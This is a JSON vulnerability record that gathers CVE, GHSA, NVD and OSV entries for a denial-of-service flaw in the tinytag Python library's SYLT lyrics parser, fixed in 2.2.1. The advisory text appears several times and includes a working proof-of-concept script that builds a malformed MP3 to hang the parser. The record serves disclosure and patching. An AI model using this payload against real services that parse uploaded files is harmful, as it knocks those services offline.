{"id":"CVE-2026-32889","aliases":["EUVD-2026-13499","GHSA-f4rq-2259-hv29","PYSEC-2026-3386"],"status":"published","title":"tinytag: Denial of Service via non-terminating SYLT frame parsing loop","description":"tinytag is a Python library for reading audio file metadata. Version 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content. This issue has been fixed in version 2.2.1.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00435,"percentile":0.38068,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-835"],"published":"2026-03-19T17:25:59Z","modified":"2026-10-28T02:31:11Z","fixes":[{"ecosystem":"PyPI","package":"tinytag","fixed_in":["2.2.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"tinytag","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.2.0"},{"fixed":"2.2.1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"tinytag","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.1"}]}],"versions":["0.10.0","0.10.1","0.11.0","0.12.0","0.13.1","0.14.0","0.14.1","0.14.2","0.15.0","0.15.2","0.16.0","0.17.0","0.18.0","0.20.0","0.6.0","0.6.1","0.7.1","0.7.2","0.8.0","0.8.1","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.2.0","1.2.1","1.2.2","1.3.1","1.4.0","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0","2.0.0","2.1.0","2.1.1","2.1.2","2.2.0"]},{"source":"osv","ecosystem":"PyPI","package":"tinytag","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.1"}]}],"versions":["0.10.0","0.10.1","0.11.0","0.12.0","0.13.1","0.14.0","0.14.1","0.14.2","0.15.0","0.15.2","0.16.0","0.17.0","0.18.0","0.20.0","0.6.0","0.6.1","0.7.1","0.7.2","0.8.0","0.8.1","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.2.0","1.2.1","1.2.2","1.3.1","1.4.0","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0","2.0.0","2.1.0","2.1.1","2.1.2","2.2.0"]}],"products":[{"vendor":"tinytag","product":"tinytag"}],"references":[{"url":"https://github.com/tinytag/tinytag/security/advisories/GHSA-f4rq-2259-hv29","tags":["x_refsource_CONFIRM","Exploit","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32889","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-f4rq-2259-hv29","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32889.json","tags":["advisory"]},{"url":"https://github.com/tinytag/tinytag","tags":["package"]},{"url":"https://pypi.org/project/tinytag","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-32889","title":"tinytag: Denial of Service via non-terminating SYLT frame parsing loop","description":"tinytag is a Python library for reading audio file metadata. Version 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content. This issue has been fixed in version 2.2.1.","status":"published","published":"2026-03-20T02:23:25.079Z","modified":"2026-03-21T02:59:12.338Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:19:57.47301Z"}],"euvd":[{"id":"EUVD-2026-13499","description":"tinytag is a Python library for reading audio file metadata. Version 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content. This issue has been fixed in version 2.2.1.","status":"published","published":"2026-03-20T02:23:25Z","modified":"2026-03-21T02:59:12Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T19:25:31.656142Z"}],"ghsa":[{"id":"GHSA-f4rq-2259-hv29","title":"Denial of service via non-terminating SYLT frame parsing loop in tinytag","description":"### Summary\n\n`tinytag` `2.2.0` allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 `SYLT` (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single `498`-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.\n\n### Details\n\nIn tag `2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`), the reachable call path is:\n\n- `TinyTag.get` in [`tinytag/tinytag.py#L144-L154`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L144-L154)\n- `_load` in [`tinytag/tinytag.py#L259-L266`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L259-L266)\n- `_parse_tag` and `_parse_id3v2` in [`tinytag/tinytag.py#L1059-L1092`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1059-L1092)\n- `_parse_frame` for `SYLT` / `SLT` in [`tinytag/tinytag.py#L1316-L1318`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1316-L1318)\n- `_parse_synced_lyrics` and `_find_string_end_pos` in [`tinytag/tinytag.py#L1219-L1248`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1219-L1248) and [`tinytag/tinytag.py#L1340-L1352`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1340-L1352)\n\nThe root cause is that `_parse_synced_lyrics` assumes `_find_string_end_pos` always returns a position greater than the current `offset`. That assumption is false when no string terminator is present in the remaining frame content.\n\nFor single-byte encodings, `_find_string_end_pos` does:\n\n```python\nreturn content.find(b'\\x00', start_pos) + 1\n```\n\nIf no terminator exists, `content.find(...)` returns `-1`, so the function returns `0`. `_parse_synced_lyrics` then does `offset = end_pos`, which resets `offset` to `0` inside:\n\n```python\nwhile offset \u003c content_length:\n    end_pos = self._find_string_end_pos(content, encoding, offset)\n    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\\n')\n    offset = end_pos\n    time = unpack('\u003eI', content[offset:offset + 4])[0]\n```\n\nBecause `offset` is reset to `0`, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in `_find_string_end_pos` has the same shape: if no `b'\\x00\\x00'` terminator is found, it also returns `0`, so the same non-progress condition applies there.\n\n`SYLT` parsing support was introduced by commit [`4d649b9c314ada8ff8a74e0469e9aadb3acb252a`](https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a) (`ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)`), which first shipped in `2.2.0`. I confirmed that `2.1.2` does not contain `_parse_synced_lyrics`, so `2.2.0` is the only confirmed affected release at this time.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS `26.3` / Darwin `arm64`\n- Python `3.14.3`\n- Confirmed affected release: `tinytag 2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`)\n- Also reproduced on current `main` commit `1d23f6fe169c92c070a265f9108e295577141383`\n\n### PoC\n\nThe following self-contained PoC generates a malformed `SYLT` frame and passes it to `TinyTag.get`:\n\n```python\n#!/usr/bin/env python3\nimport signal\nimport struct\nimport time\nfrom io import BytesIO\n\nfrom tinytag import TinyTag\n\n\ndef create_malicious_mp3() -\u003e bytes:\n    id3_header = b\"ID3\" + bytes([3, 0, 0])  # ID3v2.3\n    encoding = b\"\\x00\"  # ISO-8859-1\n    language = b\"eng\"\n    timestamp_format = b\"\\x02\"\n    content_type = b\"\\x01\"\n    descriptor = b\"test\\x00\"\n    lyrics_data = b\"A\" * 50  # no null terminator in the remaining SYLT payload\n    frame_content = (\n        encoding + language + timestamp_format + content_type + descriptor + lyrics_data\n    )\n    frame = b\"SYLT\" + struct.pack(\"\u003eI\", len(frame_content)) + b\"\\x00\\x00\" + frame_content\n\n    tag_size = len(frame)\n    synchsafe = bytearray(4)\n    n = tag_size\n    for i in range(3, -1, -1):\n        synchsafe[i] = n \u0026 0x7F\n        n \u003e\u003e= 7\n\n    return (\n        id3_header\n        + bytes(synchsafe)\n        + frame\n        + b\"\\xff\\xfb\\x90\\x00\"\n        + b\"\\x00\" * 413\n    )\n\n\ndef timeout_handler(signum, frame) -\u003e None:\n    print(\"CONFIRMED: parsing did not finish within 10.0s; external interruption was required\")\n    raise SystemExit(1)\n\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(10)\nstart = time.time()\n\ntry:\n    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename=\"poc.mp3\")\n    signal.alarm(0)\n    print(f\"Unexpectedly completed in {time.time() - start:.3f}s\")\nexcept SystemExit:\n    raise\nexcept Exception as exc:\n    signal.alarm(0)\n    print(f\"Unexpected exception before timeout: {type(exc).__name__}: {exc}\")\n```\n\nObserved output on `2.2.0` in the environment above:\n\n```text\nCONFIRMED: parsing did not finish within 10.0s; external interruption was required\n```\n\n### Impact\n\nAn attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.\n\nIn server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.\n\n### Patches\n\nFixed in the following commits:\n\n- https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402\n- https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a","status":"published","published":"2026-03-19T17:25:59Z","modified":"2026-03-20T21:20:21Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:39:39.567266Z"}],"nvd":[{"id":"CVE-2026-32889","description":"tinytag is a Python library for reading audio file metadata. Version 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content. This issue has been fixed in version 2.2.1.","status":"published","published":"2026-03-20T03:15:59.873Z","modified":"2026-06-17T10:36:30.997Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:12:10.126802Z"}],"osv":[{"id":"CVE-2026-32889","title":"tinytag: Denial of Service via non-terminating SYLT frame parsing loop","description":"tinytag is a Python library for reading audio file metadata. Version 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated. The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content. This issue has been fixed in version 2.2.1.","status":"published","published":"2026-03-20T02:23:25.079Z","modified":"2026-10-28T02:31:11.377620908Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"GHSA-f4rq-2259-hv29","title":"Denial of service via non-terminating SYLT frame parsing loop in tinytag","description":"### Summary\n\n`tinytag` `2.2.0` allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 `SYLT` (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single `498`-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.\n\n### Details\n\nIn tag `2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`), the reachable call path is:\n\n- `TinyTag.get` in [`tinytag/tinytag.py#L144-L154`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L144-L154)\n- `_load` in [`tinytag/tinytag.py#L259-L266`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L259-L266)\n- `_parse_tag` and `_parse_id3v2` in [`tinytag/tinytag.py#L1059-L1092`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1059-L1092)\n- `_parse_frame` for `SYLT` / `SLT` in [`tinytag/tinytag.py#L1316-L1318`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1316-L1318)\n- `_parse_synced_lyrics` and `_find_string_end_pos` in [`tinytag/tinytag.py#L1219-L1248`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1219-L1248) and [`tinytag/tinytag.py#L1340-L1352`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1340-L1352)\n\nThe root cause is that `_parse_synced_lyrics` assumes `_find_string_end_pos` always returns a position greater than the current `offset`. That assumption is false when no string terminator is present in the remaining frame content.\n\nFor single-byte encodings, `_find_string_end_pos` does:\n\n```python\nreturn content.find(b'\\x00', start_pos) + 1\n```\n\nIf no terminator exists, `content.find(...)` returns `-1`, so the function returns `0`. `_parse_synced_lyrics` then does `offset = end_pos`, which resets `offset` to `0` inside:\n\n```python\nwhile offset \u003c content_length:\n    end_pos = self._find_string_end_pos(content, encoding, offset)\n    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\\n')\n    offset = end_pos\n    time = unpack('\u003eI', content[offset:offset + 4])[0]\n```\n\nBecause `offset` is reset to `0`, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in `_find_string_end_pos` has the same shape: if no `b'\\x00\\x00'` terminator is found, it also returns `0`, so the same non-progress condition applies there.\n\n`SYLT` parsing support was introduced by commit [`4d649b9c314ada8ff8a74e0469e9aadb3acb252a`](https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a) (`ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)`), which first shipped in `2.2.0`. I confirmed that `2.1.2` does not contain `_parse_synced_lyrics`, so `2.2.0` is the only confirmed affected release at this time.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS `26.3` / Darwin `arm64`\n- Python `3.14.3`\n- Confirmed affected release: `tinytag 2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`)\n- Also reproduced on current `main` commit `1d23f6fe169c92c070a265f9108e295577141383`\n\n### PoC\n\nThe following self-contained PoC generates a malformed `SYLT` frame and passes it to `TinyTag.get`:\n\n```python\n#!/usr/bin/env python3\nimport signal\nimport struct\nimport time\nfrom io import BytesIO\n\nfrom tinytag import TinyTag\n\n\ndef create_malicious_mp3() -\u003e bytes:\n    id3_header = b\"ID3\" + bytes([3, 0, 0])  # ID3v2.3\n    encoding = b\"\\x00\"  # ISO-8859-1\n    language = b\"eng\"\n    timestamp_format = b\"\\x02\"\n    content_type = b\"\\x01\"\n    descriptor = b\"test\\x00\"\n    lyrics_data = b\"A\" * 50  # no null terminator in the remaining SYLT payload\n    frame_content = (\n        encoding + language + timestamp_format + content_type + descriptor + lyrics_data\n    )\n    frame = b\"SYLT\" + struct.pack(\"\u003eI\", len(frame_content)) + b\"\\x00\\x00\" + frame_content\n\n    tag_size = len(frame)\n    synchsafe = bytearray(4)\n    n = tag_size\n    for i in range(3, -1, -1):\n        synchsafe[i] = n \u0026 0x7F\n        n \u003e\u003e= 7\n\n    return (\n        id3_header\n        + bytes(synchsafe)\n        + frame\n        + b\"\\xff\\xfb\\x90\\x00\"\n        + b\"\\x00\" * 413\n    )\n\n\ndef timeout_handler(signum, frame) -\u003e None:\n    print(\"CONFIRMED: parsing did not finish within 10.0s; external interruption was required\")\n    raise SystemExit(1)\n\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(10)\nstart = time.time()\n\ntry:\n    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename=\"poc.mp3\")\n    signal.alarm(0)\n    print(f\"Unexpectedly completed in {time.time() - start:.3f}s\")\nexcept SystemExit:\n    raise\nexcept Exception as exc:\n    signal.alarm(0)\n    print(f\"Unexpected exception before timeout: {type(exc).__name__}: {exc}\")\n```\n\nObserved output on `2.2.0` in the environment above:\n\n```text\nCONFIRMED: parsing did not finish within 10.0s; external interruption was required\n```\n\n### Impact\n\nAn attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.\n\nIn server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.\n\n### Patches\n\nFixed in the following commits:\n\n- https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402\n- https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a","status":"published","published":"2026-03-19T17:25:59Z","modified":"2026-07-13T16:43:50.921004109Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T15:46:46.006631Z"},{"id":"PYSEC-2026-3386","title":"Denial of service via non-terminating SYLT frame parsing loop in tinytag","description":"### Summary\n\n`tinytag` `2.2.0` allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 `SYLT` (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single `498`-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.\n\n### Details\n\nIn tag `2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`), the reachable call path is:\n\n- `TinyTag.get` in [`tinytag/tinytag.py#L144-L154`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L144-L154)\n- `_load` in [`tinytag/tinytag.py#L259-L266`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L259-L266)\n- `_parse_tag` and `_parse_id3v2` in [`tinytag/tinytag.py#L1059-L1092`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1059-L1092)\n- `_parse_frame` for `SYLT` / `SLT` in [`tinytag/tinytag.py#L1316-L1318`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1316-L1318)\n- `_parse_synced_lyrics` and `_find_string_end_pos` in [`tinytag/tinytag.py#L1219-L1248`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1219-L1248) and [`tinytag/tinytag.py#L1340-L1352`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1340-L1352)\n\nThe root cause is that `_parse_synced_lyrics` assumes `_find_string_end_pos` always returns a position greater than the current `offset`. That assumption is false when no string terminator is present in the remaining frame content.\n\nFor single-byte encodings, `_find_string_end_pos` does:\n\n```python\nreturn content.find(b'\\x00', start_pos) + 1\n```\n\nIf no terminator exists, `content.find(...)` returns `-1`, so the function returns `0`. `_parse_synced_lyrics` then does `offset = end_pos`, which resets `offset` to `0` inside:\n\n```python\nwhile offset \u003c content_length:\n    end_pos = self._find_string_end_pos(content, encoding, offset)\n    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\\n')\n    offset = end_pos\n    time = unpack('\u003eI', content[offset:offset + 4])[0]\n```\n\nBecause `offset` is reset to `0`, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in `_find_string_end_pos` has the same shape: if no `b'\\x00\\x00'` terminator is found, it also returns `0`, so the same non-progress condition applies there.\n\n`SYLT` parsing support was introduced by commit [`4d649b9c314ada8ff8a74e0469e9aadb3acb252a`](https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a) (`ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)`), which first shipped in `2.2.0`. I confirmed that `2.1.2` does not contain `_parse_synced_lyrics`, so `2.2.0` is the only confirmed affected release at this time.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS `26.3` / Darwin `arm64`\n- Python `3.14.3`\n- Confirmed affected release: `tinytag 2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`)\n- Also reproduced on current `main` commit `1d23f6fe169c92c070a265f9108e295577141383`\n\n### PoC\n\nThe following self-contained PoC generates a malformed `SYLT` frame and passes it to `TinyTag.get`:\n\n```python\n#!/usr/bin/env python3\nimport signal\nimport struct\nimport time\nfrom io import BytesIO\n\nfrom tinytag import TinyTag\n\n\ndef create_malicious_mp3() -\u003e bytes:\n    id3_header = b\"ID3\" + bytes([3, 0, 0])  # ID3v2.3\n    encoding = b\"\\x00\"  # ISO-8859-1\n    language = b\"eng\"\n    timestamp_format = b\"\\x02\"\n    content_type = b\"\\x01\"\n    descriptor = b\"test\\x00\"\n    lyrics_data = b\"A\" * 50  # no null terminator in the remaining SYLT payload\n    frame_content = (\n        encoding + language + timestamp_format + content_type + descriptor + lyrics_data\n    )\n    frame = b\"SYLT\" + struct.pack(\"\u003eI\", len(frame_content)) + b\"\\x00\\x00\" + frame_content\n\n    tag_size = len(frame)\n    synchsafe = bytearray(4)\n    n = tag_size\n    for i in range(3, -1, -1):\n        synchsafe[i] = n \u0026 0x7F\n        n \u003e\u003e= 7\n\n    return (\n        id3_header\n        + bytes(synchsafe)\n        + frame\n        + b\"\\xff\\xfb\\x90\\x00\"\n        + b\"\\x00\" * 413\n    )\n\n\ndef timeout_handler(signum, frame) -\u003e None:\n    print(\"CONFIRMED: parsing did not finish within 10.0s; external interruption was required\")\n    raise SystemExit(1)\n\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(10)\nstart = time.time()\n\ntry:\n    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename=\"poc.mp3\")\n    signal.alarm(0)\n    print(f\"Unexpectedly completed in {time.time() - start:.3f}s\")\nexcept SystemExit:\n    raise\nexcept Exception as exc:\n    signal.alarm(0)\n    print(f\"Unexpected exception before timeout: {type(exc).__name__}: {exc}\")\n```\n\nObserved output on `2.2.0` in the environment above:\n\n```text\nCONFIRMED: parsing did not finish within 10.0s; external interruption was required\n```\n\n### Impact\n\nAn attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.\n\nIn server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.\n\n### Patches\n\nFixed in the following commits:\n\n- https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402\n- https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a","status":"published","published":"2026-07-13T14:36:43.859722Z","modified":"2026-07-13T16:32:47.106042523Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:52:56.847083Z"}]}}
